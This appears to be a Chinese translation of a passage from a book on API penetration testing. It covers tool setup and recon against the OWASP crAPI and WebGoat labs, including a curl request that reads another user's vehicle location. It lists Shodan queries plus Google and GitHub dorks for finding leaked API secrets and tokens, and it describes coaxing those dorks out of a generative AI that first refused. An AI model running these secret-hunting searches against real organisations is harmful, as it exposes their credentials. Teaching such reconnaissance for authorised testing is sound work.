ripgrep
另一个快速且有趣的工具,你将用它来搜索日志文件中的内容,叫做 ripgrep。它同样通过 APT 安装,但它的二进制文件名是 rg:
$ sudo apt install ripgrep
$ rg –-version
ripgrep 13.0.0
-SIMD -AVX (compiled)
Safety
本书中你将使用的一些工具和实用程序是作为 Python 模块发布的。这就是 Safety 的情况,它是一个扫描器,用于查找源代码文件中的漏洞:
$ pip install safety
Collecting safety
Downloading safety-3.2.2-py3-none-any.whl (146 kB)
━━━━━━━━━━━ 146.3/146.3 KB 1.1 MB/s eta 0:00:00
...Output omitted for brevity...
$ safety –-version
safety, version 3.2.2
Golang
snap。这是我为其简洁性选择的:
$ sudo snap install go –classic
$ go version
go version go1.22.4 linux/arm64
现在,让我们看看如何创建独立的环境,以避免影响我们的主要安装,并开始使用代码进行实验。
配置测试环境
我给出的第一个建议是始终使用 Python 的 虚拟环境。Anaconda 很好且功能强大,但在这里并不是必需的。如果你打算将本书中看到的代码与我们已经创建的其他工具或环境结合使用,那么 Anaconda 可以成为一个有效的选择。
至于你应该有多少个虚拟环境,这取决于你。例如,你可以为每一章创建一个虚拟环境,以便更好地组织整个内容,但这意味着会占用更多磁盘空间,因为相同的 Python 模块会被多次安装。或者,你可以创建一个单一的环境,假设叫做 pentest,并在其中创建每一章的代码子目录,遵循本书仓库中提议的结构。
我选择了上面第二个选项,因为虚拟机的磁盘空间并不大,多个重复的模块并没有太大意义。你肯定至少需要以下模块来进行练习:Flask、Flask-GraphQL、Graphene、Flask-JWT-Extended、Pandas、Scapy。如前所述,safety 工具是你可能想尝试的另一个 Python 模块。
$ python3 -m venv pentesting
$ source pentesting/bin/activate
(pentesting) $ pip install Flask Flask-GraphQL graphene Flask-JWT-Extended
Collecting Flask
Downloading flask-3.0.3-py3-none-any.whl (101 kB)
━━━━━━━━━━━━━━━━━━━━━━━ 101.7/101.7 KB 796.2 kB/s eta 0:00:00
...Output omitted for brevity...
(pentesting) $ pip install pandas
Collecting pandas
Downloading pandas-2.2.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (15.6 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━ 15.6/15.6 MB 35.2 MB/s eta 0:00:00
...Output omitted for brevity...
$ pip install scapy
Collecting scapy
Downloading scapy-2.5.0.tar.gz (1.3 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.3/1.3 MB 5.0 MB/s eta 0:00:00
...Output omitted for brevity...
还需要其他辅助模块,如 flask-oauth、flask-oauthlib、jsonify、requests 和 scrapy:
$ sudo apt install python-wheel-common
$ pip install jsonify
Collecting jsonify
Downloading jsonify-0.5.tar.gz (1.0 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
$ pip install flask-oauth flask-oauthlib jsonify requests scrapy
Collecting flask-oauth
Downloading Flask-OAuth-0.12.tar.gz (6.2 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
Collecting flask-oauthlib
Downloading Flask_OAuthlib-0.9.6-py3-none-any.whl (40 kB)
━━━━━━━━━━━━━━ 40.2/40.2 KB 632.0 kB/s eta 0:00:00
...Output omitted for brevity...
Collecting jsonify
Downloading jsonify-0.5.tar.gz (1.0 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
Collecting requests
Downloading requests-2.32.3-py3-none-any.whl (64 kB)
━━━━━━━━━━━━━━ 64.9/64.9 KB 779.9 kB/s eta 0:00:00
...Output omitted for brevity...
Collecting scrapy
Downloading Scrapy-2.11.2-py2.py3-none-any.whl (290 kB)
━━━━━━━━━━━━━━ 290.1/290.1 KB 1.5 MB/s eta 0:00:00
...Output omitted for brevity...
Now, let's clone the book's repository inside the pentesting directory:
(pentesting) $ cd pentesting
(pentesting) $ git clone https://github.com/PacktPublishing/Pentesting-APIs.git
Cloning into 'Pentesting-APIs...
remote: Enumerating objects: 1234, done.
remote: Counting objects: 100% (403/403), done.
remote: Compressing objects: 100% (71/71), done.
remote: Total 1234 (delta 346), reused 332 (delta 332), pack-reused 831
Receiving objects: 100% (1234/1234), 359.68 KiB | 359.00 KiB/s, done.
Resolving deltas: 100% (760/760), done.
你现在可以继续前进,开始探索本书的其余部分。享受阅读吧!
总结
本书的 第一部分 到此结束。我们已经介绍了将在后续章节中使用的所有工具和实用程序。这里的目的是为你提供便利,特别是当你对我们将要使用的软件不太熟悉时。
在下一章中,我们将开始 第二部分,你将学习有关渗透测试 API 的初步步骤,包括侦察活动。到时见!
进一步阅读
-
UTM 官方文档:
docs.getutm.app/ -
VMware Workstation 文档:
docs.vmware.com/VMware-Workstation-Pro/index.html -
Oracle Virtualbox 文档:
www.virtualbox.org/wiki/Documentation -
Visual Studio Code 官方文档:
code.visualstudio.com/docs -
Docker 官方文档:
docs.docker.com/ -
OWASP WebGoat 和 WebWolf:
owasp.org/www-project-webgoat/ -
OWASP crAPI:
owasp.org/crAPI/docs/challenges.html -
OWASP ZAP 文档:
www.zaproxy.org/docs/ -
Burp Suite 官方文档:
portswigger.net/burp/documentation -
Postman 官方文档:
learning.postman.com/docs/introduction/overview/ -
Wireshark 文档:
www.wireshark.org/docs/ -
Tshark 手册页面:
www.wireshark.org/docs/man-pages/tshark.html -
Python 虚拟环境:
docs.python.org/3/library/venv.html -
Anaconda 官方文档:
docs.anaconda.com/ -
Hydra 文档:
hydra.cc/docs/intro/ -
Patator 仓库:
github.com/lanjelot/patator -
Radamsa 仓库:
gitlab.com/akihe/radamsa -
Apache Bench 手册页面:
httpd.apache.org/docs/2.4/en/programs/ab.html -
Hping3 手册页面:
linux.die.net/man/8/hping3 -
Flog 仓库:
github.com/mingrammer/flog -
Filebeat 官方文档:
www.elastic.co/guide/en/beats/filebeat/current/index.html -
Ripgrep 文档:
github.com/BurntSushi/ripgrep/blob/master/GUIDE.md -
Safety 官方文档:
docs.safetycli.com/safety-2 -
Python Flask 文档:
flask.palletsprojects.com/en/3.0.x/ -
Python Scapy 文档:
scapy.readthedocs.io/en/latest/ -
Python Scrapy 文档:
docs.scrapy.org/en/latest/
第二部分: API 信息收集与身份验证/AuthN/AuthZ 测试
这一部分涵盖了你在确定目标 API 后需要做的工作:收集更多关于它的信息。你将学习发现目标信息的技巧,包括对其进行扫描,这将帮助你为攻击做好准备。你还将学习到 API 身份验证 (AuthN) 和 授权 (AuthZ) 的相关知识,它们是成功探索目标所必须了解的两个基础组件,每个组件都有其独特之处。
本节包含以下章节:
-
第三章, API 侦察与信息收集
-
第四章, 身份验证与授权测试
第三章:API 侦察与信息收集
在进攻之前了解地形是一条军事格言。著名的《孙子兵法》作者孙子写道:“你应该对周围的地形有强烈的认识。”了解目标 API 的情况与删除攻击痕迹一样重要。因此,了解再出发!
API 侦察与信息收集是收集关于 API 的信息的过程,例如其端点、方法、参数、认证机制和业务目的。这些信息可以用来识别安全漏洞、测试 API 的功能,或者开发与 API 交互的新应用程序。
在本章中,你将学习侦察与信息收集技术,这些技术将成为渗透测试规划活动的一部分。实际上,在前一章中正确设置好你的工具箱后,下一步就是收集关于目标的信息。
你将学习重要的概念,如枚举、API 文档、开源情报 (OSINT) 和 API 模式。所有这些概念基本上都与互联网上的任何现代 API 相关。我们将使用 OWASP 的 crAPI 和 WebGoat 项目作为我们的练习场。
在本章中,我们将讨论以下主要内容:
-
识别和列举 API
-
分析 API 文档和端点
-
利用开源情报(OSINT)
-
识别数据和模式结构
技术要求
理想情况下,你应该已经按照 第二章中的指导建立了你的渗透测试环境。然而,如果你还没有建立,也没关系。
你可以使用以下工具来完成本章内容:
-
需要一个像 Oracle VirtualBox 这样的虚拟机管理程序。
-
一个 Linux 虚拟机 (VM),我推荐选择 Ubuntu 或 Fedora 发行版,因为这两者有大量的实用工具。
-
Postman (
www.postman.com/downloads/)。 -
OWASP 完全荒谬的 API (crAPI) (
github.com/OWASP/crAPI/)。 -
OWASP WebGoat (
owasp.org/www-project-webgoat/)。 -
OWASP ZAP (
www.zaproxy.org/)。 -
在容器引擎方面,使用 Docker 或 Podman,后者是 Docker 的超集。
-
如果你选择使用 WebGoat 的独立版本,你将需要一个 Java 运行时环境。我建议选择 OpenJDK,Ubuntu 和 Fedora 都有其包。其他发行版也可能有。
-
你需要至少 30 GB 的磁盘空间、2 个 vCPU 和 4 GB 的内存来容纳虚拟机。推荐配置为 50 GB、4 个 vCPU 和 8 GB。
重要提示
在本书写作时,还没有适用于 Apple Silicon 芯片电脑的稳定版本的 VirtualBox。可用的测试版本无法启动 ARM 虚拟机。如果这是你的情况,建议改用 UTM(mac.getutm.app/)。有几种安装方法,包括通过 Homebrew。本章使用 Ubuntu 22.04 LTS 服务器作为 UTM 上的虚拟机。
识别和枚举 API
目标的识别和枚举可以是被动的或主动的,这不仅仅限于 API。被动侦查涉及在不直接与 API 交互的情况下收集 API 的信息。这可以通过多种方法完成,例如:
-
搜索公共文档:许多 API 提供者发布描述 API 端点、方法、参数和身份验证机制的文档。这些文档可以在提供者的网站、在线论坛或代码仓库中找到。
-
分析公共流量:如果 API 是公开可访问的,可以分析 API 的流量,以了解它是如何使用的。可以使用如 Wireshark 或 Fiddler 等工具来完成此操作。
-
搜索暴露的信息:API 提供者可能会在公共论坛或代码仓库中不小心暴露敏感信息,如 API 密钥或密码。可以使用搜索引擎或如 Shodan 等工具找到这些信息。
被动侦查是指在不与 API 直接交互的情况下获取 API 的信息。换句话说,你需要通过使用其他来源(如公共文档、分析公共流量或搜索暴露的信息)来寻找所需的信息。许多 API 提供者发布关于其 API 方法、动词和参数的文档,以及身份验证和授权的工作原理。这最终可能会揭示出控制机制的弱点,例如简单的用户名/密码组合。如果 API 是公开可访问的,你可以通过捕获其流量来分析它,借助 Wireshark 和 Fiddler 等工具。此外,敏感数据,如密钥、令牌、密码或特殊配置参数,可能在代码仓库或论坛中不小心泄露。通过使用网页搜索引擎或如 Shodan 等工具,你可以轻松找到它们。
主动枚举,另一方面,要求你与 API 进行交互。就像渗透测试中的所有主动阶段一样,请记住,你的操作可能会被 API 提供者记录。不管怎样,主动侦查通常遵循以下顺序:
- 你首先通过发现 API 的端点(即它等待的 URL)并回答请求来开始。使用蜘蛛工具,如 Sitebulb 或 Screaming Frog SEO Spider,你可以枚举所有 API 的端点:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_01.jpg
图 3.1 – Sitebulb 的界面(图片来源:Sitebulb)
然后,你可以通过 curl 工具或像 Postman 这样的工具向它们发送请求。事实上,Postman 的一个非常有趣的功能是将你在图形界面中构建的请求转换为 curl 命令:
$ curl --location 'https://url/api' \
--header 'Authorization:<authorization token>' \
--form 'form_field_1="content of field 1"' \
--form 'upload=@"/path/file_to_upload"' \
--form 'form_field_2="content of field 2"' \
--form 'format="PDF"' \
--form 'description="Details about the File"'
-
一些 API 端点接受可以用来控制 API 行为的参数。通过探测这些参数,你可以了解更多关于它们的信息,包括哪些值是可接受的,以及它们如何影响 API 的操作。
-
你还可以选择测试 API 的认证机制。有些 API 在你发送只读请求时,即使没有事先认证,也会返回数据。然而,如果 API 需要某种类型的认证控制,你可以测试它来了解其健壮性,例如,通过构造特殊或模糊的凭证。
现在,我们将介绍一些非常适用于渗透测试的工具,包括 crAPI,你将在本书的其余部分使用它。
分析 WebGoat
让我们开始玩转我们的实验室吧。Docker 已安装,并且包含 crAPI 和 WebGoat,两者都使用 Docker 镜像。crAPI 配有一个 Docker Compose 多容器定义文件。你完全可以选择任何其他分发版和安装 WebGoat 和 WebWolf(WebGoat 的附带应用,用于测试一些功能)的方法。两者可以使用相同的 Docker 镜像安装,或者直接使用单独的 Java Archive 文件执行。Wireshark 也已安装。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_02.jpg
图 3.2 – WebGoat 的登录页面 (http://localhost:8080/WebGoat/login)
以下截图显示了 WebWolf 的登录页面:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_03.jpg
图 3.3 – WebWolf 的初始页面 (http://localhost:9090/home)
由于我们的目标 API 是 crAPI 和 WebGoat,因此没有 API 文档可供查询,这减少了我们的被动侦察选项。但我们仍然可以模拟一些流量捕获来理解它是如何工作的。启动 Wireshark,并在回环接口(127.0.0.1)上开始捕获。为了避免被系统生成的其他流量淹没,可以设置过滤器,仅捕获 TCP 端口 8080 上的 HTTP 包(tcp.port == 8080 and http)。通过简单加载 WebGoat 的登录页面,你会看到捕获的数据行不断出现。为了方便识别数据包的捕获时间,你可以通过点击视图 | 时间 显示格式来改变 Wireshark 显示的方式。
你需要先注册一个账户才能开始使用该工具。本书中的示例使用 pentest/pentest 作为一对凭证。注册账户并启动 Wireshark。观察捕获的一个数据包。显然,我们可以看到密码,因为 WebGoat 在通信中没有应用数字证书:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_04.jpg
图 3.4 – Wireshark 数据包捕获的输出,显示明文密码
从该数据包中,你可以验证创建凭证的元素叫做/WebGoat/register.mvc,它是由/WebGoat/registration调用的。尝试通过curl单独调用它,看看是否有有用的信息。如果你运行curl -vslk http://localhost:8080/WebGoat/register.mvc,你将看到类似以下的内容。为了简洁起见,部分输出已被省略。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_05.jpg
图 3.5 – WebGoat 的 register.mvc 元素抛出错误信息
curl 工具默认使用 GET HTTP 动词。我们刚刚发现,这个元素不支持 GET 动词,它只是抛出了一个非常有信息量的错误信息,提示(例如)应用程序使用了 Spring 框架。甚至还提供了其中一个受影响的源代码文件及其行号:RequestMappingInfoHandler.java,第253行!你也可以通过浏览器获取这些信息,但熟悉使用 curl 非常重要。虽然这是一个不错的开始,但 WebGoat 并不是一个特别适合我们深入了解 API 内部的工具。crAPI 是更好的选择。
查看 crAPI
crAPI 是一个有意设计为易受攻击的应用程序,提供 RESTful API,旨在帮助探索 OWASP 的 API 安全十大威胁(owasp.org/API-Security/)。在编写本书的同时,恰逢 API 安全十大项目的最新发布。另一个像 crAPI 的工具是 Juice Shop(owasp.org/www-project-juice-shop/),它是用 JavaScript 编写的。
当你完成运行 crAPI 的 Docker Compose 文件后,可以通过访问http://localhost:8888/来打开应用程序。你将被重定向到/login路径。这并不一定意味着你正在处理一个 RESTful API。被重定向到另一个路径仅仅意味着应用程序识别到你尚未认证,或者在你尝试打开一个过时的组件时,将你重定向到正确的页面。命令如下:
$ docker compose -f docker-compose.yml --compatibility up -d
向后兼容标志已在新版 Docker Compose 中实现。对先前版本的支持已于 2023 年 6 月结束。更多信息请参考docs.docker.com/compose/compose-file/compose-versioning/。
由于它是基于容器的应用程序,你将利用无需手动下载所有组件的优势。当 Compose 完成下载镜像、创建卷和环境变量以及定义限制后,你将看到以下容器:
| 容器名称 | 容器镜像 | 用途 |
|---|---|---|
api.mypremiumdealership.com | gateway-service | 脆弱的 API |
crapi-community | 同名 | 社区博客 |
crapi-identity | 同名 | 身份验证端点 |
crapi-web | 同名 | Web UI |
crapi-workshop | 同名 | 汽车维修车间 |
mailhog | 同名 | 邮件服务 |
mongodb | mongo | 不言自明 |
postgresdb | postgres | 不言自明 |
表 3.1 – crAPI 的容器和镜像及其用途
crAPI 实现了一个网站,供车辆所有者搜索、查找并请求汽车维修,同时暴露了一个 RESTful API 以便完成这些任务。我假设你已经按照前一章节的内容安装了 ZAP 或 Burp Suite。我们这里将使用 ZAP。第一个 crAPI 页面是一个登录/注册对话框:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_06.jpg
图 3.6 – crAPI 的登录页面
你可以通过在用户名或邮箱地址字段中输入特殊字符来稍微测试一下注册页面。你甚至可以输入一个无效的电话号码(前端逻辑仅检查内容是否非空),我就这么做了,并在 ZAP 上查看结果。我将电话号码留空并尝试注册,响应如下:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_07.jpg
图 3.7 – 无效的注册页面,揭示应用后端的详细信息
在与 Web 应用程序的首次互动中,甚至没有构造特殊请求,我们就发现它运行在 Spring 框架上,这意味着我们正在处理一个基于 Java 的后端。太酷了!现在让我们填写表单,作为车主登录。响应提供了一个持有者令牌:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_08.jpg
图 3.8 – 有效登录操作的响应,提供相应的持有者令牌
让我们继续添加一辆虚拟车辆。我们将验证更多关于应用程序和 API 端点的信息将被揭示。当添加车辆时,你需要输入 PIN 和 VIN,这些信息会通过你注册时输入的邮箱地址发送到你的邮箱。只需打开另一个浏览器标签页并访问 http://localhost:8025 来访问 Mailhog 服务。你会在那儿找到邮件。仅仅登录并点击相应的按钮添加车辆就能揭示更多 API 端点。观察接下来的一系列图像,了解更多信息。在第一个图像中,你可以看到成功登录后的响应。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_09.jpg
图 3.9 – 登录后 /api/v2/user 端点
以下是添加车辆后你将收到的响应类型。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_10.jpg
图 3.10 – 点击添加车辆按钮后的 /api/v2/vehicle 端点
最后,在成功添加车辆后,你将看到如下屏幕。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_11.jpg
图 3.11 – 随机车辆已被添加
当一辆车被添加时,应用会为其分配一个 UUID,我们可以通过检查 /api/v2/vehicle/vehicles 调用的响应来确认这一点:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_12.jpg
图 3.12 – 添加车辆时生成的 UUID
位置数据也已提供。请注意这一点,它将非常有用。你可以稍微操作一下网页 UI,但在进入社区部分时,观察一下响应发生了什么变化。这部分类似于一个论坛,车主们可以在这里发表评论或寻求帮助。问题在于,所有车主的帖子都包含他们相应的车辆 ID!显然,除非绝对必要,否则不建议公开这些数据,而这里正是如此。那么,为什么有些好心的人会想知道其他人的车辆 ID 呢?
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_13.jpg
图 3.13 – 其他车辆 ID 在应用的社区部分被公开
/api/v2/vehicle 端点提供了一个选项,可以提供车辆的 UUID,并通过指定 location 关键字来获取车辆的经纬度。如果我们利用前面截图中的输出,尝试获取不是自己车辆的数据会怎样呢?你可以使用你喜欢的方式来实现,比如通过 ZAP、Postman,甚至通过命令行配合 curl。不过,记得先登录,因为之后所有的请求都需要授权令牌,而该令牌只有在成功认证后才能获得。在图 3.13中可以看到,我的车辆 ID 以 5b0a 结尾。我将尝试获取一辆 ID 以 8e3f 结尾的车辆的位置。使用 curl 时,命令将是(这是一个单行命令):
$ curl http://localhost:8888/identity/api/v2/vehicle/4e9e1ab1-c478-4fe7-b141-c620dcd78e3f/location --header 'Content-Type: application/json' --header 'Authorization: Bearer <put your authorization token here>'
Bingo!观察以下截图。这展示了 crAPI 提供的 API 的脆弱性。只需提供有效的令牌,我就能查看属于不同用户名的资产的详细信息!
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_14.jpg
图 3.14 – 获取另一辆车的数据
恭喜!你刚刚不小心访问了另一个用户的车辆数据,这对应于第一个 crAPI 挑战:破损的对象级别授权(BOLA)。让我们看看如何通过其他方式获取 API 信息。
分析 API 文档和端点
你还可以通过仔细分析 API 的文档及其暴露的端点来获取重要信息。即使在今天,一些 API 端点仍未使用传输层安全性(TLS),这绝不应成为一种习惯。为了保持向后兼容性,一些供应商和应用程序所有者选择保持这些不安全的连接点开放。它们有时被低性能设备使用,例如物联网(IoT)树莓派、Arduino 控制器,甚至是计算能力较弱的普通客户端。这是因为 TLS 卸载可能需要大量的处理能力,具体取决于所需的同时或后续连接数量。
除此之外,通过分析文档和端点,你还可以发现其他潜在的攻击向量,比如弱或没有身份验证和/或授权机制。为了分析 API 文档,你可以使用一些不错的工具,如 SwaggerUI(github.com/swagger-api/swagger-ui)和 ReDoc(github.com/Redocly/redoc)。尽管它们最初是为了构建遵循 OpenAPI 规范的 API 文档(www.openapis.org/)而设计的,但它们也可以用于分析书面文档。考虑到后续的文件,将<<<Put OpenAPI Link here>>>占位符替换为托管 OpenAPI 类似文档 YAML 文件的链接。你可以在 APIs Guru 的网站上找到相关网站(apis.guru/);见图 3.15和图 3.16。
<!DOCTYPE html>
<html>
<head>
<title>ReDoc</title>
<!-- needed for adaptive design -->
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700" rel="stylesheet">
<!--
ReDoc doesn't change outer page styles
-->
<style>
body {
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<redoc spec-url='<<<Put OpenAPI Link here>>>'></redoc>
<script src="img/redoc.standalone.js"> </script>
</body>
</html>
你可以在此找到部分 Fitbit 的 API 文档:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_15.jpg
图 3.15 – Fitbit 的 API 文档
在这里,你可以看到与外汇 API 相同的内容。这是文档屏幕的截图,显示了对请求的响应。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_16.jpg
图 3.16 – 1Forge Finance 的 API 文档
请注意,Fitbit 的第一个条目涉及认证,使用了 OAuth2 协议。另一方面,乍一看,1Forge 的 API 根本没有提供任何认证,至少对于那些暴露的服务是这样。事实上,它确实提供了认证,但这仅在他们的网站上得到了正确提及。1Forge 还暴露了纯 HTTP 端点。利用我们刚刚提到的“暴露”,当你展开 ReDoc 右侧窗格中的一个条目时,会提供更多信息。在这种情况下,我们可以看到我们可以利用的网站来与 API 交互。
另外,要在本地查看一个虚拟的 OpenAPI 规范,你可以安装 ReDoc——或者更好的是,使用它的 Docker 版本。我加载了 Docker 版本并设置监听8085端口(默认的8080端口已被 ZAP 或其他工具占用)。这样就可以访问虚拟的 PetStore API 文档进行阅读:
$ docker run -d -p 8085:80 redocly/redoc
验证 API 文档的另一个目的,是检查其请求和响应的结构。通过分析它们需要如何构造,或如何发送回你,你可以推测出 API 的更多细节。例如,如果你没有使用代理或浏览器的检查工具,其他车辆所有者的数据泄露可能会被忽视。另一个例子是用户 ID。一些应用程序可能容易受到用户 ID 剖析攻击。如果一个 API 允许你创建用户,你可以编写一个简单的脚本,连续发出两三次请求,创建一个小型用户列表。如果 API 在响应中返回了用户 ID,并且这些 ID 是连续的,那么你就知道该 API 容易受到这种威胁。对于纯 HTTP 端点来说,情况更好,因为你可以通过伪造代理服务器在本地网络中捕获所有其他用户的数据。
回顾 HTTP RFC(参考链接),我们知道 HTTP 请求有头部和正文。Web 应用开发者在实现 API 时可以使用其中任何一个或两个部分。通过再次检查 RFC,我们可以达成共识:如果请求中发送的数据是元数据,那么头部是存放这些数据的最佳位置。如果数据不是元数据,那么应该使用正文。我为什么要告诉你这些?公共云服务提供商几乎会记录所有进出其网络的数据。然而,Web 请求的正文可能不会被完全记录,因为它们可能包含客户的敏感数据,允许未授权人员(如云服务提供商的工程师)访问这些日志会导致安全合规性失败,而没有任何提供商会愿意发生这种情况。因此,在与任何 API 交互时,要非常注意 API 的响应正文,因为它们可能包含在准备攻击时可以使用的非常宝贵的数据。
利用 OSINT
OSINT 是近年来快速增长的一个市场,并且有持续增长的趋势。根据一份公开的报告,2022 年该市场的规模为 42 亿美元,预计到 2031 年将达到 73.2 亿美元,增幅为 73.43%,年复合增长率(CAGR)约为 6.31%,为期九年。这是一个不可忽视的趋势。这个市场主要由构建软件和/或培训以探索相关研究技术的公司组成。
如果你从未听说过 OSINT,我来为你简要总结一下。OSINT 包括一系列收集和分析公开信息的技术。OSINT 可以用来通过多种方式收集关于 API 的信息。例如,你可以使用 OSINT 来做以下事情:
-
查找那些提供商未公开文档化的 API 信息。
-
识别已发布的新 API 端点。
-
发现现有 API 端点的变化。
-
查找关于 API 安全漏洞的信息。
一些常见的 OSINT 资源,用于收集关于 API 的信息,包括以下内容:
-
搜索引擎:搜索引擎可以用来查找那些提供商未公开文档化的 API 信息。
-
社交媒体:像 X(前身为 Twitter)和 GitHub 这样的社交媒体平台可以用来查找有关新 API 端点、现有 API 端点的变化以及 API 的安全漏洞信息。
-
在线论坛:像 Stack Overflow 和 Reddit 这样的在线论坛可以用来查找如何使用 API 的信息,以及排除 API 问题。
OSINT 还可以用于其他几种活动,例如监视或跟踪个人或公司,发现关于 API 端点以外的资产信息,例如服务器、应用程序、外部可用系统,定位建筑物或设施等。我知道这看起来有些可怕,但就像生活中的大多数事情一样,这项技术有好的用途,也有不那么好的用途。互联网上有相当多免费的 OSINT 内容,包括资源和工具的列表。在所有资源中,我不会忘记提到以下几个:
-
OSINT 框架 (
osintframework.com/): 这是一个在线目录,列出了按类型分类的在线资源。一些资源是免费的,其他的允许你进行测试,还有一些是商业性质的。 -
Shodan (
www.shodan.io/): 这是一个搜索服务,拥有一个庞大的 IoT 设备数据库,例如摄像头、路由器和微控制器。虽然这是一个付费服务,但在一些日期(如黑色星期五)经常能找到不错的折扣。 -
Google 黑客数据库 (
www.exploit-db.com/google-hacking-database/): 这是一个 Google dorks(特别定制的 Google 查询)合集,你可以通过筛选只显示所需类型的目标,包括 API。
图 3.17 和 图 3.18 显示了在 Shodan 上查找 API 端点时可以找到的示例。该服务可以透露该端点是否存在漏洞,以及漏洞的类型。实用吧?这些漏洞通常与支持服务器的操作系统相关,但网页服务本身也可能列出为有漏洞,这有助于你的渗透测试任务。这些截图是在登录服务后截取的。第一张显示了一个 API 端点。截图已故意匿名化。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_17.jpg
图 3.17 – 一个可能存在漏洞的印尼大学 API 端点
第二张显示了一个开放给全世界的 Oracle 服务器端点。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_03_18.jpg
图 3.18 – Shodan 上的简单 API 查询
该服务提供了很多查询供你探索。以下是一些最常用的查询:
-
hostname:targetdomain.com:将所有查询指向目标域名,如果目标使用 APEX 域名,也会返回主机名。 -
content-type:application/json(或xml):大多数 API 接受并返回 JSON 或 XML 格式的数据。结合主机名使用时,此关键词会将结果过滤为包含所需内容类型的项。 -
200 OK:这是成功的 HTTP 状态码。你可以将其与其他查询组合,返回仅包含成功请求的结果。如果目标 API 不接受 Shodan 查询,它可能会返回 300 或 400 的 HTTP 状态码。 -
wp-json:当查询目标 内容管理系统(CMSs),如 Joomla 或 Drupal 时,这种查询可能会揭示它们的存在。特别是,这与 WordPress REST API 相关。
让我们看看通过 ExploitDB 可以获得什么。如果你搜索 API 这个关键词,服务将返回相当数量的 Google dorks,其中包括 allintext、intitle 和 inurl 等查询。这些分别表示在整页内容中、仅在标题中和在 URL 名称中查找出现的结果。以下是几个值得关注的例子:
-
allintext:"API_SECRET*" ext:env | ext:yml:查找以API_SECRET开头的字符串,文件扩展名为.env或.yml。这非常有用,因为许多应用程序的配置文件会将敏感数据(如 API 密钥)存储在这些扩展名的文件中。一个不小心的开发者可能会将其推送到公共代码库。你还可以了解到实现的 API 版本,旧版本可能存在漏洞。 -
intitle:"Index of /api/":你会找到列出其/api网页目录中所有文件的网站。在这里你可以找到非常有用的信息,甚至是一些你未曾想过会披露此类信息的网站。 -
inurl:execute-api site:amazonaws.com:列出所有 URL 中包含execute-api的站点。此类站点由 Amazon API Gateway 实现,这是一个公共云服务,在实际 Web 后台之前暴露一层。
我们并不局限于 Google 搜索引擎。如今,我们有了在线生成式 AI 服务,也能帮助我们进行 OSINT。一旦你构建了好的提示,也就是好的问题,你几乎可以获得所有想要的信息。这些服务随着时间的推移不断优化,并加入了额外的保护措施,以防止公司和个人的无意数据暴露或泄露。然而,我不能保证所有数据都会得到完全保护。
GitHub 也有它的 dorks。专注于特定的文件名,你可以找到关于你正在检查的 API 的相关信息。以下是我通过向某个生成式 AI 服务询问后得到的一些 dorks,按类别组织。你可以随意混合和匹配它们。该服务最初不愿意给我这些,但正如我之前所说,通过正确的提示和一些耐心,你一定能够得到:
-
基于路径的 dorks:
path:/config/ path:/secrets/ path:/keys/ path:/private/ path:/deploy/ -
基于语言的 dorks:
language:json language:yaml language:python language:javascript language:ruby -
基于扩展名的 dorks:
extension:yml extension:json extension:xml extension:cfg extension:config -
基于用户或组织的 dorks:
user:username org:organization -
基于大小的 dorks:
size:>1000 (Files larger than 1 KB) size:<500 (Files smaller than 500 bytes) -
Fork 和 stars dorks:
fork:true stars:>100 -
基于日期范围的 dorks:
created:2022-01-01..2022-12-31 pushed:2022-01-01..2022-12-31 updated:2022-01-01..2022-12-31 -
基于许可证的 dorks:
license:mit license:apache-2.0 -
基于文本内容的 dorks:
in:file (Search within file content) in:readme (Search within README files) in:description (Search within repository descriptions) -
通配符 dorks:
*api* (Matches any repository with "api" in its name) user:*api* (Matches repository with "api" in the username -
一些可以揭示 API 敏感数据存在的好关键词包括:
"api key", "api keys", "apikey", "access_token", "authorization: Bearer", "secret", "token"
接下来,我们将通过学习 API 的数据和架构结构,了解 API 的内部细节。
识别数据和架构结构
我们将结束关于 API 侦察和枚举的章节,讲解一个和其他所有内容一样重要的话题。通过成功识别 API 的数据和架构结构,你可以获得更多关于目标的信息。一旦你分析了 API 文档和端点,你需要识别 API 使用的数据和架构结构。这些信息可以帮助你理解 API 如何工作,并开发与 API 交互的应用程序。
API 文档应提供关于 API 使用的数据和架构结构的信息。然而,你可能需要分析 API 的响应,才能完整理解数据和架构结构。
